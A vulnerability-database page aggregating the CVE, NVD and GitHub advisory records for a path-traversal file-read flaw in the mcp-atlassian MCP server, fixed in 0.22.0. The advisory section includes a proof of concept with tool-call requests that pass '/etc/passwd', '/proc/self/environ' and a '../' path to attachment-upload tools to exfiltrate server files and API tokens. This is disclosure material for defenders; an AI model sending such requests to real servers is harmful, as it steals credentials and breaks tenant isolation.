Vulnerability-Lookup

CVE-2026-73496 (GCVE-0-2026-73496)

Vulnerability from cvelistv5 – Published: 2026-09-14 19:49 – Updated: 2026-09-16 16:10

Title

MCP Atlassian: Arbitrary server-side file read via attachment upload

Summary

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant's data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller's environment. This issue is fixed in version 0.22.0.

Severity

7.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-16 16:09 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73 - External Control of File Name or Path

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/sooperset/mcp-atlassian/securi…	x_refsource_CONFIRM
https://github.com/sooperset/mcp-atlassian/pull/1448	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/commit…	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
sooperset	mcp-atlassian	Affected: < 0.22.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-73496",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-16T16:09:47.067461Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-16T16:10:16.281Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant\u0027s data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller\u0027s environment. This issue is fixed in version 0.22.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "CWE-73: External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-14T19:49:03.525Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
        }
      ],
      "source": {
        "advisory": "GHSA-wm45-qh3g-v83f",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Atlassian: Arbitrary server-side file read via attachment upload"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-73496",
    "datePublished": "2026-09-14T19:49:03.525Z",
    "dateReserved": "2026-08-12T19:00:33.735Z",
    "dateUpdated": "2026-09-16T16:10:16.281Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-73496",
      "date": "2026-09-17",
      "epss": "0.00327",
      "percentile": "0.25879"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-73496\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-09-14T20:16:50.833\",\"lastModified\":\"2026-09-16T17:18:07.133\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant\u0027s data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller\u0027s environment. This issue is fixed in version 0.22.0.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"sooperset\",\"product\":\"mcp-atlassian\",\"versions\":[{\"version\":\"\u003c 0.22.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\",\"baseScore\":7.7,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.1,\"impactScore\":4.0}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-09-16T16:09:47.067461Z\",\"id\":\"CVE-2026-73496\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"},{\"lang\":\"en\",\"value\":\"CWE-73\"}]}],\"references\":[{\"url\":\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/sooperset/mcp-atlassian/pull/1448\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-73496\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-09-16T16:09:47.067461Z\"}}}], \"references\": [{\"url\": \"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-09-16T16:10:08.884Z\"}}], \"cna\": {\"title\": \"MCP Atlassian: Arbitrary server-side file read via attachment upload\", \"source\": {\"advisory\": \"GHSA-wm45-qh3g-v83f\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 7.7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"sooperset\", \"product\": \"mcp-atlassian\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 0.22.0\"}]}], \"references\": [{\"url\": \"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f\", \"name\": \"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/sooperset/mcp-atlassian/pull/1448\", \"name\": \"https://github.com/sooperset/mcp-atlassian/pull/1448\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\", \"name\": \"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\", \"name\": \"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant\u0027s data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller\u0027s environment. This issue is fixed in version 0.22.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-73\", \"description\": \"CWE-73: External Control of File Name or Path\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-09-14T19:49:03.525Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-73496\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-09-16T16:10:16.281Z\", \"dateReserved\": \"2026-08-12T19:00:33.735Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-09-14T19:49:03.525Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-73496

Vulnerability from fkie_nvd - Published: 2026-09-14 20:16 - Updated: 2026-09-16 17:18

Severity

7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/pull/1448
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the confluence_upload_attachment and confluence_upload_attachments tools pass a client-controlled file_path through src/mcp_atlassian/confluence/attachments.py upload_attachment, and the jira_update_issue attachments parameter reaches src/mcp_atlassian/jira/attachments.py upload_attachment, without confining either path to an approved server workspace. In a remote HTTP, SSE, or multi-user deployment, absolute or traversing paths are resolved on the MCP server and uploaded to Atlassian, allowing a client with write-tool access to disclose server files, environment-held Atlassian credentials, or another tenant\u0027s data. A local single-user stdio deployment does not cross this trust boundary because the server runs in the caller\u0027s environment. This issue is fixed in version 0.22.0."
    }
  ],
  "id": "CVE-2026-73496",
  "lastModified": "2026-09-16T17:18:07.133",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-73496",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-16T16:09:47.067461Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-14T20:16:50.833",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-73"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-WM45-QH3G-V83F

Vulnerability from github – Published: 2026-07-10 19:34 – Updated: 2026-07-10 19:34

Summary

mcp-atlassian: Arbitrary server-side file read via attachment upload

Details

Summary

A client that can invoke MCP tools can read arbitrary files from the server host and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied file_path and open() it on the server's filesystem.

The upload tools are meant to attach a file from the caller's environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file content in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local stdio deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)

Details

The upload tools read a client-supplied path directly on the server:

src/mcp_atlassian/confluence/attachments.py — upload_attachment → _upload_attachment_direct → os.path.abspath(file_path) → open(file_path, "rb")
src/mcp_atlassian/jira/attachments.py — upload_attachment → os.path.abspath(file_path) → open(file_path, "rb")

os.path.abspath() only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.

Client-reachable entry points that hit these sinks:

confluence_upload_attachment → ConfluenceFetcher.upload_attachment. The file_path field is documented as "absolute … or relative to the current working directory."
confluence_upload_attachments → loops over the same sink.
jira_update_issue — its attachments parameter (JSON array or comma-separated list of paths) flows through IssuesMixin.update_issue → self.upload_attachments → the Jira sink. There is no standalone jira_upload_attachment tool; jira_update_issue is the only Jira entry point.

PoC

Local reproduction

Extract traversal_upload_attachment_file_read.zip:

# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh
docker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false
./poc.sh                    # exits 0 on success

Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the /etc/passwd round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.

All calls are issued against the HTTP transport with READ_ONLY_MODE=false (the default).

Step 1 — read /etc/passwd from the server via Confluence upload:

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
    "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }

Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):

req → tools/call confluence_download_attachment { "attachment_id": "att<...>" }
← base64 resource decoding to:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...

Step 3 — same primitive via the Jira entry point (second sink):

req → tools/call jira_update_issue
      { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }

Step 4 — credential disclosure via /proc/self/environ:

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.

(os.path.getsize reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)

Step 5 — relative traversal accepted (no containment):

req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.

The uploaded files (passwd, environ, hostname) appear as real attachments on the Confluence page, confirming the server read them off its own host.

Impact

Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. /etc/passwd, /proc/self/environ, application config, key material). Uploading /proc/self/environ discloses the server's environment variables — including the configured JIRA_API_TOKEN / CONFLUENCE_API_TOKEN — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.

The security impact concentrates in remote / HTTP-transport deployments (sse, streamable-http, default bind 0.0.0.0), where the file_path resolves on the server host rather than the client's. In a single-user stdio deployment the path refers to the user's own machine, so there is no boundary crossing.

Credit

Discovered by Francisco Rosales of Manifold Security

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:34:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server\u0027s** filesystem.\n\nThe upload tools are meant to attach a file from the **caller\u0027s** environment \u2014 the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server\u0027s files \u2014 and, in multi-tenant deployments, other tenants\u0027 data \u2014 instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user\u0027s own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)\n\n### Details\n\nThe upload tools read a client-supplied path directly on the server:\n\n- `src/mcp_atlassian/confluence/attachments.py` \u2014 `upload_attachment` \u2192 `_upload_attachment_direct` \u2192 `os.path.abspath(file_path)` \u2192 `open(file_path, \"rb\")`\n- `src/mcp_atlassian/jira/attachments.py` \u2014 `upload_attachment` \u2192 `os.path.abspath(file_path)` \u2192 `open(file_path, \"rb\")`\n\n`os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.\n\nClient-reachable entry points that hit these sinks:\n\n- `confluence_upload_attachment` \u2192 `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as \"absolute \u2026 or relative to the current working directory.\"\n- `confluence_upload_attachments` \u2192 loops over the same sink.\n- `jira_update_issue` \u2014 its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` \u2192 `self.upload_attachments` \u2192 the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point.\n\n### PoC\n\n**Local reproduction**\n\nExtract `traversal_upload_attachment_file_read.zip`:\n```\n# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh\ndocker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false\n./poc.sh                    # exits 0 on success\n```\n\n\u003e Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.\n\nAll calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default).\n\nStep 1 \u2014 read `/etc/passwd` from the server via Confluence upload:\n```\nreq \u2192 tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/etc/passwd\" }\n\u2190 { \"message\": \"Attachment uploaded successfully\",\n    \"attachment\": { \"success\": true, \"filename\": \"passwd\", \"id\": \"att\u003c...\u003e\" } }\n```\n\nStep 2 \u2014 retrieve the exfiltrated content back through MCP (round-trip proves a real read):\n```\nreq \u2192 tools/call confluence_download_attachment { \"attachment_id\": \"att\u003c...\u003e\" }\n\u2190 base64 resource decoding to:\n    root:x:0:0:root:/root:/bin/bash\n    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n    ...\n```\n\nStep 3 \u2014 same primitive via the Jira entry point (second sink):\n```\nreq \u2192 tools/call jira_update_issue\n      { \"issue_key\": \"\u003cISSUE_KEY\u003e\", \"fields\": \"{}\", \"attachments\": \"/etc/passwd\" }\n\u2190 { \"attachment_results\": { ... \"success\": true ... } }\n```\n\nStep 4 \u2014 credential disclosure via `/proc/self/environ`:\n```\nreq \u2192 tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"/proc/self/environ\" }\n\u2190 success; the resulting \"environ\" attachment contains the server\u0027s env,\n  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.\n```\n(`os.path.getsize` reports 0 for procfs, but the upload transmits the real content \u2014 the attachment shows ~1 kB in the Confluence UI.)\n\nStep 5 \u2014 relative traversal accepted (no containment):\n```\nreq \u2192 tools/call confluence_upload_attachment\n      { \"content_id\": \"\u003cPAGE_ID\u003e\", \"file_path\": \"../../../../etc/hostname\" }\n\u2190 success \u2014 relative paths are resolved and read on the server just like absolute ones.\n```\n\nThe uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host.\n\n### Impact\n\nAny client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server\u0027s environment variables \u2014 including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` \u2014 i.e. the server process\u0027s own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.\n\nThe security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client\u0027s. In a single-user `stdio` deployment the path refers to the user\u0027s own machine, so there is no boundary crossing.\n\n### Credit\n\nDiscovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)",
  "id": "GHSA-wm45-qh3g-v83f",
  "modified": "2026-07-10T19:34:30Z",
  "published": "2026-07-10T19:34:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-atlassian: Arbitrary server-side file read via attachment upload"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-73496 (GCVE-0-2026-73496)

FKIE_CVE-2026-73496

GHSA-WM45-QH3G-V83F

Summary

Details

PoC

Impact

Credit

Tags

Sightings

Nomenclature

Related by attack behaviour